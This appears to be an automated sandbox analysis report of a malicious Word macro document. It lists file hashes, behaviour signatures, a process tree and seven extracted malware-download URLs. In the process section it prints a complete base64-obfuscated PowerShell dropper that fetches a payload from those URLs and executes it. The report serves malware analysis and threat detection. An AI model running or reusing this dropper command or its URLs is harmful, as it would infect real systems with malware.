Analysis

  • max time kernel
    120s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 17:17

General

  • Target

    変化20_09.doc

  • Size

    225KB

  • MD5

    f750b6fb7be2c9df4e52f7ef8498608d

  • SHA1

    2361d54a07b3e4be140af16c20936a76079b0313

  • SHA256

    0d2abc2f00006293db0665dc3b33534474e2683e346c2e567721b4ff7758ead8

  • SHA512

    37eeab67399d2e0bee4b726b26d3020920679f30f4ab1357870a777eab5f772f23a49e01b515e7b8a03cec6a875cc1e36d501d1cc4819bed5d584d6ba394f68e

  • SSDEEP

    3072:f4PrXcuQuvpzm4bkiaMQgAlSvlK4fbSp2A:QDRv1m4bnQgIS9KQep2A

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://marmolhi.com/_vti_bin/0nNKKlWZ4/

exe.dropper

https://comerciopuravida.com/wp-admin/qqUV32Q/

exe.dropper

http://www.closmaq.com.br/wp-admin/nc/

exe.dropper

http://pulseti.com/isla/61D/

exe.dropper

https://hotelunique.com/teste/oxda9J0BvF/

exe.dropper

http://greensync.com.br/aspnet_clientOld/Xyicd/

exe.dropper

http://muabannodanluat.com/wp-admin/css/colors/kIxtL8/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\変化20_09.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2236
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:632
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABPAGcAOABiAHcAMgByAD0AKAAnAFMAJwArACgAJwAyACcAKwAnAGUAOQAzAGIAXwAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAHIAbwBGAGkAbABlAFwATgBOAF8AVgBEADAAMABcAFcAOAA3AGMAVQBaAEYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBgAGkAYABUAFkAYABQAFIAbwB0AE8AYwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxADIALAAnACkAKwAoACcAIAB0AGwAcwAnACsAJwAxADEAJwApACsAKAAnACwAJwArACcAIAB0ACcAKQArACcAbABzACcAKQA7ACQARgBkAGgAZAB2AHYAXwAgAD0AIAAoACcAQgBzACcAKwAoACcAeABnACcAKwAnADQAbQBlACcAKQArACcAaQAnACkAOwAkAFYANwBjADEANgBtAHUAPQAoACgAJwBFAHQAJwArACcAbwB5ACcAKQArACcAOQAnACsAJwBjADQAJwApADsAJABGAHEAMgAzAF8AdwA5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHIAQQAnACsAJwBDACcAKwAoACcATgAnACsAJwBuAF8AdgBkACcAKwAnADAAMAAnACsAJwByAEEAQwBXADgAJwArACcANwBjAHUAegBmACcAKwAnAHIAJwApACsAJwBBAEMAJwApAC4AIgByAGUAcABgAGwAQQBDAEUAIgAoACgAWwBjAGgAQQBSAF0AMQAxADQAKwBbAGMAaABBAFIAXQA2ADUAKwBbAGMAaABBAFIAXQA2ADcAKQAsAFsAUwB0AHIASQBuAGcAXQBbAGMAaABBAFIAXQA5ADIAKQApACsAJABGAGQAaABkAHYAdgBfACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQATwA3AG0ANgBiAGYANQA9ACgAJwBKAGIAJwArACgAJwBjAGMAJwArACcAMAAnACkAKwAnAGkAaQAnACkAOwAkAFYAcgBvAGUAcgBtAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBFAEIAQwBMAEkAZQBOAHQAOwAkAEEAeAB5AG0AYQBfAGUAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwBtAGEAcgAnACkAKwAoACcAbQBvACcAKwAnAGwAaABpAC4AYwBvAG0ALwAnACsAJwBfACcAKwAnAHYAJwApACsAJwB0ACcAKwAnAGkAXwAnACsAKAAnAGIAJwArACcAaQBuAC8AMABuAE4ASwAnACsAJwBLACcAKQArACcAbABXACcAKwAnAFoAJwArACgAJwA0AC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAJwArACcAcABzADoAJwArACcALwAvAGMAbwBtACcAKQArACgAJwBlAHIAYwAnACsAJwBpAG8AcAAnACsAJwB1AHIAYQB2ACcAKwAnAGkAJwArACcAZABhACcAKQArACcALgAnACsAKAAnAGMAbwBtACcAKwAnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AaQBuAC8AJwApACsAKAAnAHEAJwArACcAcQBVACcAKQArACcAVgAzACcAKwAoACcAMgAnACsAJwBRAC8AJwApACsAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYwBsAG8AJwArACcAcwAnACkAKwAnAG0AYQAnACsAJwBxAC4AJwArACgAJwBjAG8AbQAnACsAJwAuAGIAJwApACsAJwByACcAKwAoACcALwB3AHAALQBhACcAKwAnAGQAJwArACcAbQBpAG4AJwApACsAJwAvAG4AJwArACgAJwBjACcAKwAnAC8AKgAnACkAKwAoACcAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAJwArACcAOgAvAC8AcAB1ACcAKwAnAGwAcwBlACcAKQArACgAJwB0AGkAJwArACcALgBjAG8AJwApACsAKAAnAG0AJwArACcALwBpACcAKQArACcAcwBsACcAKwAoACcAYQAvADYAMQBEAC8AJwArACcAKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGgAJwApACsAKAAnAG8AdABlACcAKwAnAGwAdQBuAGkAJwArACcAcQAnACkAKwAoACcAdQBlACcAKwAnAC4AJwApACsAJwBjAG8AJwArACcAbQAvACcAKwAoACcAdABlACcAKwAnAHMAdABlAC8AbwB4ACcAKQArACgAJwBkAGEAOQAnACsAJwBKACcAKQArACgAJwAwACcAKwAnAEIAdgAnACkAKwAnAEYALwAnACsAJwAqACcAKwAoACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBnACcAKwAnAHIAZQAnACkAKwAoACcAZQBuAHMAJwArACcAeQBuAGMAJwArACcALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALgBiACcAKwAnAHIAJwApACsAJwAvAGEAJwArACgAJwBzAHAAbgAnACsAJwBlACcAKQArACcAdAAnACsAJwBfAGMAJwArACcAbAAnACsAKAAnAGkAZQAnACsAJwBuACcAKQArACcAdAAnACsAKAAnAE8AbAAnACsAJwBkACcAKQArACgAJwAvAFgAeQBpAGMAZAAnACsAJwAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvAG0AdQBhAGIAJwApACsAKAAnAGEAJwArACcAbgAnACsAJwBuAG8AJwArACcAZABhAG4AbAB1AGEAdAAnACkAKwAoACcALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAnACkAKwAoACcALQBhAGQAbQBpAG4ALwAnACsAJwBjAHMAcwAvAGMAJwArACcAbwAnACkAKwAnAGwAJwArACcAbwByACcAKwAoACcAcwAvACcAKwAnAGsAJwApACsAJwBJAHgAJwArACcAdABMACcAKwAnADgALwAnACkALgAiAHMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgB2ADQANgBwAHoANgA9ACgAJwBPACcAKwAoACcAXwAnACsAJwB3AHQAJwApACsAKAAnAHYANgAnACsAJwBkACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARABiAGYAZgB0ADQAOAAgAGkAbgAgACQAQQB4AHkAbQBhAF8AZQApAHsAdAByAHkAewAkAFYAcgBvAGUAcgBtAHMALgAiAEQAYABvAHcAbgBsAGAATwBBAEQAZgBpAGAAbABFACIAKAAkAEQAYgBmAGYAdAA0ADgALAAgACQARgBxADIAMwBfAHcAOQApADsAJABWAGwAaQBxADMAbwBwAD0AKAAoACcAQgBmAG4ANQAnACsAJwBqACcAKQArACcAcwBfACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABGAHEAMgAzAF8AdwA5ACkALgAiAGwAYABFAGAATgBnAHQASAAiACAALQBnAGUAIAAzADgAMwA5ADYAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQARgBxADIAMwBfAHcAOQApADsAJABJAF8AbgBrADkAcQA3AD0AKAAnAFgAawAnACsAKAAnAGMAdAAnACsAJwBsAG0AcwAnACkAKQA7AGIAcgBlAGEAawA7ACQAUQBpAHgAYQA0AGwAawA9ACgAJwBEADUAJwArACgAJwBqAG0AYgAnACsAJwBmAGQAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAaQBqADYAMgBmADgAPQAoACgAJwBKAG8AJwArACcANgAnACkAKwAoACcAZABuACcAKwAnAGUAMQAnACkAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2836

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2236-26-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-48-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-2-0x00000000715CD000-0x00000000715D8000-memory.dmp

      Filesize

      44KB

    • memory/2236-0-0x000000002FFE1000-0x000000002FFE2000-memory.dmp

      Filesize

      4KB

    • memory/2236-6-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-7-0x00000000064C0000-0x00000000065C0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-8-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-12-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-22-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-21-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-19-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-15-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-16-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-28-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-31-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-32-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-30-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-29-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-5-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2236-27-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-25-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-24-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-51-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-33-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-23-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-14-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-13-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-10-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-11-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-20-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-17-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-9-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2236-45-0x00000000715CD000-0x00000000715D8000-memory.dmp

      Filesize

      44KB

    • memory/2236-46-0x00000000005F0000-0x00000000006F0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-40-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

      Filesize

      32KB

    • memory/2836-39-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

      Filesize

      2.9MB